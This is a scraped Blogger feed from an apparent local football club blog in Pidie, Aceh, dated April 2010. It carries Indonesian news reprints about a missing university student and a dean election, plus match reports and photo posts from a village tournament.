“Mengingat tantangan ke depan semakin keras yang terpundak di bahu masing-masing dekan, saya harap agar semua tantangan tersebut bisa dihadapi dengan kerja sama yang solid apalagi pemilihan dekan ini lewat proses demokrasi sejati,” pungkas Hasballah.<span style="font-weight: bold;">(c43)</span></div>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-14202700000330522222010-04-21T01:52:00.000-07:002010-04-21T01:52:15.148-07:00Mahasiswi unigha diduga diculikMahasiswi Unigha Diduga Diculik <div class="attributes"> <a href="http://serambinews.com/nanggroe/view/18/pidie">Pidie</a> </div><span style="font-weight: bold;">SIGLI</span> - Wanti bin Karimuddin (25) warga Gampong Busu Balee Kecamatan Indra Jaya, Pidie, yang juga tercatat sebagai mahasiswi Universitas Jabal Ghafur (Unigha) Sigli, sejak dua hari terakhir dikabarkan hilang. Berat dugaan wanita muda itu menjadi korban penculikan bersama sepeda motornya jenis yamaha mio.<br />
<br />
“Pada hari Mingu (11/4), seperti biasa dia menjalani rutinitas mengikuti mata kuliah hingga sore hari di Kampus Unigha. Tapi, sampai malamnya dia belum juga kembali ke rumah sebagaimana biasanya,” sebut Murni selaku kakak sepupu kepada Prohaba, Selasa (13/4). Malahan kata Murni, setelah dihubungi melalui ponsel pribadinya beberapa kali, tapi ta kunjung aktif, sehingga, pihak keluarga dan warga gampong menjadi resah dan selama dua hari ini pihaknya juga telah melakukan berbagai upaya pencarian. “Termasuk dengan mendatangi orang pintar (Dukun-red) dimana disebutkan bahwa dia diikat oleh seseorang di belakang semak-semak gedung Leguna Unigha,” ujarnya.<br />
<br />
Namun setelah dilakukan pengecekan pada esoknya, Senin (12/4) ternyata tidak ditemukan. Besar kemungkinan, lanjut Murni, adik sepupunya itu diculik oleh seseorang dengan motif pencurian sepeda motor pribadinya berupa mio. “Namun, sejauh ini kami telah melaporkanya kepada pihak berwajib untuk dilakukan upaya pencarian karena berbagai usaha sampai saat ini belum menunjukkan hasil,” ungkap Ridwan M Jamil (33) salah seorang warga gampong korban. Sementara itu, Kapolres Pidie, AKBP Moffan MK SH didampingi Kasat Reskrim AKP Erlin Tanjjaya SH SIK, secara terpisah mengatakan, pihaknya kini sedang menelusuri kasus tersebut.jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-64533261855322515272010-04-21T00:05:00.000-07:002010-04-21T00:05:47.920-07:00JOJO FC MENUJU FINAL<div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/_IvYPqzEnREI/S86jtol1cQI/AAAAAAAAAFc/AFQ-GHM9180/s1600/20042010%28018%29.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/_IvYPqzEnREI/S86jtol1cQI/AAAAAAAAAFc/AFQ-GHM9180/s320/20042010%28018%29.jpg" /></a></div>SIGLI jojo FC memastikan dri untuk menuju babak final setelah mebenamkan Gala Fc 3-0 tanpa balas dlm lanjutan HUT ke-IV open turnamen PSJM Jeurat Manyang Kecamatan Mutiara Timur,Pidie, selasa (20/4).sejak peluit Kick off dibunyikan oleh wasit Iqbal, skuadra Jojo FC yang dimotori ihkwani tampil lebih menawan. betapa tidak seberapa serangan maut dimenit awal sering membuat kalang-kabut pertahanan bawah Gala FC..buktinya, dimenit ke 10, Fahrizal sukses menulang gol perdana bagi timnya hingga skor kedudukan berubah menjadi 1-0. ketinggalan satu angka membuat tim Gala Fc tampil mengebut serangan balasan. sayangnya, dimenit ke 41 tim ini nyaris saja tampil menyamakan kedudukan./ tapi kurang lihatnya penyelesaian akhir, gol itu pun sirna hingga turun minum...usai turun minum, sang motor tim Jojo FC ikhwani, kembali mengatur serangan tajam dengan mendobrak jantung pertahanan lawannya. beruntung sang pengedor ini menyumbang dua gol bagian timnya secara beruntun, yaitu dimenit ke 62 dan 65 hingga skor berubah menjadi 3-0...ketinggalan tiga angka, membuat tim gala FC naik pitam karena terlalu dipermalukan. beberapa serangan balasan ke kubu jojo FC ternyata dengan gampang bisa diantisipasi pleh ikhwani cs. hingga peluit akhir angka masih baertahan 3-0, untuk laga pada partai final pada jum'at (23/4) tim jojo FC akan berhadapan dengan tim tangguh Gemuker Fc kembang tanjung...jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-73866557339167555852010-04-20T08:49:00.000-07:002010-04-20T08:52:59.612-07:00tim asisten pelatih jojo fc<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IvYPqzEnREI/S83NzJJR35I/AAAAAAAAAE8/y6BEU3uG2Do/s1600/DSC00259.JPG"><img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_IvYPqzEnREI/S83NzJJR35I/AAAAAAAAAE8/y6BEU3uG2Do/s400/DSC00259.JPG" alt="" id="BLOGGER_PHOTO_ID_5462248201582141330" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IvYPqzEnREI/S83Ny9-5OLI/AAAAAAAAAE0/mw81g_cPmtA/s1600/%40%C2%A3..sayfar.jpg"><img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://4.bp.blogspot.com/_IvYPqzEnREI/S83Ny9-5OLI/AAAAAAAAAE0/mw81g_cPmtA/s400/%40%C2%A3..sayfar.jpg" alt="" id="BLOGGER_PHOTO_ID_5462248198585792690" border="0" /></a>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-47801491134123163372010-04-20T00:31:00.001-07:002010-04-20T00:35:57.171-07:00Aneka foto<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IvYPqzEnREI/S81ZImJde5I/AAAAAAAAABo/OOSKTQGh_SM/s1600/17042010%28002%29.jpg"><img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://3.bp.blogspot.com/_IvYPqzEnREI/S81ZImJde5I/AAAAAAAAABo/OOSKTQGh_SM/s400/17042010%28002%29.jpg" alt="" id="BLOGGER_PHOTO_ID_5462119927284333458" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IvYPqzEnREI/S81ZHyD2R1I/AAAAAAAAABg/yj-9RHqoKt4/s1600/IMG_1291.JPG"><img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://1.bp.blogspot.com/_IvYPqzEnREI/S81ZHyD2R1I/AAAAAAAAABg/yj-9RHqoKt4/s400/IMG_1291.JPG" alt="" id="BLOGGER_PHOTO_ID_5462119913302148946" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IvYPqzEnREI/S81ZHcrqlxI/AAAAAAAAABY/JVZGLenWpZM/s1600/tert.jpg"><img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 252px; height: 400px;" src="http://3.bp.blogspot.com/_IvYPqzEnREI/S81ZHcrqlxI/AAAAAAAAABY/JVZGLenWpZM/s400/tert.jpg" alt="" id="BLOGGER_PHOTO_ID_5462119907563575058" border="0" /></a>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-21816542332925421982010-04-20T00:02:00.000-07:002010-04-20T00:05:39.628-07:00गेमुकर तेर्कम persigaMon, Apr 12th 2010, 10:23<br />Gemuker Terkam Persiga<br />Sport Globo<br />SIGLI - Tim Gemuker Kembang Tanjong sukses menerkam ambsi tim Persiga Muda Geulumpang Tiga dalam drama adu penalti, 6-5 setelah kedua tim tersebut bermain imbang, 1-1 dalam laga lanjutan HUT ke IV open turnamen PSJM Jeurat Mayang, Kecamatan Mutiara Timur, Pidie, Minggu (11/4).<br /><br />Sejak pluit bergema dari mulut wasit Amiruddin, tim Gemuker telah memperlihatkan kepiawaian mereka dalam menggalang serangan-serangan tajam. Hasilnya, di menit ketujuh, Akmal membuka gol bagi Gemuker. Gol semata wayang itu tak mampu dibalas oleh tim Persiga hingga turun minum.<br /><br />Usai jeda, ambisi anak Persiga telah kelihatan. Betapa tidak, beberapa serangan tajam telah melumpuhkan pertahanan Gemuker. Terbukti, menjelang akhir laga tepatnya di menit ke-88, Wak Ken tampil untuk menyamakan kedudukan timnya hingga marka berubah menjadi, 1-1.<br /><br />Untuk menentukan pemenang, panitia terpaksa menggelar babak ‘tos-tosan’. Dalam laga tersebut, Gemuker sukses menang dengan skor, 6-5. Untuk laga petang nanti, Persibota Tringadeng akan menjajal PSKS Simpang Tiga.jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-22850736977634098452010-04-19T22:30:00.000-07:002010-04-19T22:33:34.485-07:00JOJO FC<span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; font-size: medium;"><span class="Apple-style-span" style="color: rgb(51, 51, 51); font-family: Verdana,Arial,sans-serif; font-size: 13px;"><div class="date" style="padding: 0px; margin: 0px; font-size: 0.9em; font-weight: bold;">Mon, Apr 19th 2010, 12:19</div><h3 style="padding: 0px; margin: 0px; font-size: 16px;">Jojo FC Permalukan Simpati</h3><div class="attributes" style="padding: 0px; margin: 0px 0px 10px;"><a href="/columns/view/10/sport-globo" style="padding: 0px; margin: 0px; outline-style: none; color: rgb(153, 153, 153); font-weight: bold; text-decoration: none;">Sport Globo</a></div><div class="news-content left" style="padding: 0px; margin: 0px; font-size: 1em; line-height: 1.3em; text-align: justify;"><span style="padding: 0px; margin: 0px; font-weight: bold;">SIGLI<span class="Apple-converted-space"> </span></span>- Jojo FC sukses mempermalukan Simpati Simpang Tiga, 2-1 dalam lanjutan pertandingan HUT ke IV PSJM Jeurat Manyang, Kecamatan Mutiara Timur, Pidie, Minggu (18/4). Sejak pluit kick-off dilengkingkan wasit Amiruddin, anak-anak Jojo FC tampil prima. Betapa tidak, sejumlah serangan yang digencarkan ke jantung pertahanan Simpati di menit awal nyaris saja membuka gol perdana. Namun, buruknya penyelesaian akhir membuat kesempatan emas itu terbuang percuma.<br /><br />Tapi, memasuki menit ke-32, kubu Jojo tak lagi membuang peluang. Terbukti, sebuah kans yang diperoleh kapten Mukallaf mampu diubah menjadi gol perdana. Kedudukan, 1-0 tersebut bertahan hingga turun minum.<br /><br />Ketinggalan satu angka, membuat tim Simpati kembali mengatur serangan balasan ke kubu lawan. Pasalnya, tim ini tak mau menjadi pecundang di laga itu. Perjuangan anak-anak Simpang Tiga itu rupanya membuahkan hasil pada menit 73 lewat sundulan Murdifar, yang mengubah marka menjadi, 1-1.<br /><br />Tapi, Kedudukan imbang tersebut ternyata tak bertahan lama. Sebab, dua menit kemudian, bonden Jojo kembali menambah gol kedua lewat tendangan bebas Musliadi. Skor, 2-1 tersebut bertahan hingga pluit bubaran. Untuk tarung petang nanti, Gemuker Kembang Tanjong akan berhadapan dengan Boca Dynamo Tidiek.</div></span></span>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0